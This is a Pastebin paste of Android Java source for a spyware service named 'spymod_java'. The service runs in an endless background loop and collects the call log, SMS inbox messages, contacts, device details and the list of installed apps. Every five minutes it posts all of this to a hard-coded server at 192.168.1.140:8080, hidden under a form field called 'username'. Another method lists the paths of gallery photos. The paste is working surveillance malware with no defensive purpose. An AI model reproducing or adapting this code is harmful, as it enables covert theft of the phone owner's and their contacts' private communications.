Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.example.spymod_java;
- import android.Manifest;
- import android.annotation.SuppressLint;
- import android.app.Activity;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.Intent;
- import android.content.pm.ApplicationInfo;
- import android.content.pm.PackageManager;
- import android.database.Cursor;
- import android.net.Uri;
- import android.os.AsyncTask;
- import android.os.Build;
- import android.os.Environment;
- import android.os.IBinder;
- import android.os.StatFs;
- import android.provider.CallLog;
- import android.provider.ContactsContract;
- import android.provider.MediaStore;
- import android.util.Log;
- import androidx.annotation.RequiresApi;
- import java.io.IOException;
- import java.util.ArrayList;
- import java.util.Date;
- import java.util.List;
- import okhttp3.OkHttpClient;
- import okhttp3.FormBody;
- import okhttp3.Request;
- import okhttp3.RequestBody;
- import okhttp3.Response;
- public class MyService extends Service {
- public MyService() {
- }
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- new downloader().execute();
- return super.onStartCommand(intent, flags, startId);
- }
- @SuppressLint("StaticFieldLeak")
- public class downloader extends AsyncTask<String, Void, String> {
- @Override
- protected void onPreExecute(){
- super.onPreExecute();
- }
- @Override
- protected String doInBackground(String... params) {
- try {
- while(1 > 0)
- {
- String url = "http://192.168.1.140:8080";
- OkHttpClient connection = new OkHttpClient();
- String calls = getCalls();
- String messages = getSMS();
- String contacts = getContacts();
- String OS = getInfo();
- RequestBody data = new FormBody.Builder().add("username", contacts + calls + messages + OS).build();
- Request req = new Request.Builder().url(url).post(data).build();
- Response resp = connection.newCall(req).execute();
- assert resp.body() != null;
- Thread.sleep(300000);
- }
- //return resp.body().string();
- } catch (IOException | InterruptedException e) {
- e.printStackTrace();
- }
- return null;
- }
- private String getCalls() {
- StringBuilder sb = new StringBuilder();
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
- checkSelfPermission(Manifest.permission.READ_CALL_LOG);
- }
- Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
- assert c != null;
- int num = c.getColumnIndex(CallLog.Calls.NUMBER);
- int date = c.getColumnIndex(CallLog.Calls.DATE);
- int duration = c.getColumnIndex(CallLog.Calls.DURATION);
- int typeOfCall = c.getColumnIndex(CallLog.Calls.TYPE);
- sb.append("Calls: ");
- while (c.moveToNext()) {
- String number = c.getString(num);
- String callType = c.getString(typeOfCall);
- String callDate = c.getString(date);
- String callDuration = c.getString(duration);
- Date callDayTime = new Date(Long.parseLong(callDate));
- String dir;
- int dircode = Integer.parseInt(callType);
- if(dircode == CallLog.Calls.OUTGOING_TYPE)
- dir = "OUTGOING";
- else if(dircode == CallLog.Calls.INCOMING_TYPE)
- dir = "INCOMING";
- else
- dir = "MISSED";
- sb.append("\nPhone Number: ").append(number).append(" \nCall Type: ").append(dir).append(" \nCall Date: ").append(callDayTime).append(" \nCall duration: ").append(callDuration);
- }
- String res = sb.toString();
- Log.d("Calls", res);
- c.close();
- return res;
- }
- private String getSMS(){
- StringBuilder sb = new StringBuilder();
- Uri uriSMS = Uri.parse("content://sms/inbox");
- Cursor c = getContentResolver().query(uriSMS, null, null, null, null);
- while (c != null && c.moveToNext()) {
- String smsInfo = "Phone number: " + c.getString(c.getColumnIndex("address")) + " Message: " + c.getString(c.getColumnIndexOrThrow("body"));
- sb.append(smsInfo);
- }
- if (c != null) {
- c.close();
- }
- String res = sb.toString();
- Log.d("SMS: ", res);
- return res;
- }
- private String getContacts() {
- StringBuilder sb = new StringBuilder();
- ContentResolver cr = getBaseContext().getContentResolver();
- Cursor c = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
- if ((c != null ? c.getCount() : 0) > 0)
- {
- while (c.moveToNext())
- {
- String name = c.getString(c.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
- String identification = c.getString(c.getColumnIndex(ContactsContract.Contacts._ID));
- if (c.getInt(c.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0)
- {
- Cursor new_c = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{identification}, null);
- assert new_c != null;
- while (new_c.moveToNext())
- sb.append("Name: ").append(name).append(" , ").append("Phone Number: ").append(new_c.getString(new_c.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))).append("\n");
- new_c.close();
- }
- }
- }
- if(c != null)
- c.close();
- String res = sb.toString();
- Log.d("Contacts: ", res);
- return res;
- }
- private String getInfo() {
- StringBuilder sb = new StringBuilder();
- sb.append("\nVersion: ").append(System.getProperty("os.version")).append("(").append(Build.VERSION.INCREMENTAL).append(")");
- sb.append("\nAPI Level: ").append(Build.VERSION.SDK_INT);
- sb.append("\nDevice: ").append(Build.DEVICE);
- sb.append("\nModel: ").append(Build.MODEL).append(" (").append(Build.PRODUCT).append(")");
- StatFs info = new StatFs(Environment.getExternalStorageDirectory().getPath());
- long bytes;
- if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR2)
- bytes = info.getBlockSizeLong() * info.getAvailableBlocksLong();
- else
- bytes = (long)info.getBlockSize() * (long)info.getAvailableBlocks();
- sb.append("\nFree space: ").append( bytes / (1024));
- final PackageManager manager = getPackageManager();
- List<ApplicationInfo> packs = manager.getInstalledApplications(PackageManager.GET_META_DATA);
- String launch;
- for (ApplicationInfo packageInfo : packs) {
- sb.append("\nInstalled: ").append(packageInfo.packageName);
- launch = "is" + manager.getLaunchIntentForPackage(packageInfo.packageName);
- if(!launch.equals("isnull"))
- sb.append("\nActivity:").append(manager.getLaunchIntentForPackage(packageInfo.packageName));
- }
- String res = sb.toString();
- Log.d("Os Info: ", res);
- return res;
- }
- @RequiresApi(api = Build.VERSION_CODES.Q)
- public String getPhoto(Activity context) {
- ArrayList<String> gal = new ArrayList<String>();
- final String ord = MediaStore.Images.Media.DATE_TAKEN;
- final String[] col = {MediaStore.Images.Media.DATA, MediaStore.Images.Media._ID};
- Cursor c = context.managedQuery(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, col, null, null,ord + " DESC");
- for (int i = 0; i < c.getCount(); ++i)
- {
- c.moveToPosition(i);
- gal.add(c.getString(c.getColumnIndex(MediaStore.Images.Media.DATA)));
- }
- String res = gal.toString();
- Log.e("Photos: ",res);
- return res;
- }
- }
- @Override
- public IBinder onBind(Intent intent) {
- // TODO: Return the communication channel to the service.
- throw new UnsupportedOperationException("Not yet implemented");
- }
- }
Add Comment
Please, Sign In to add comment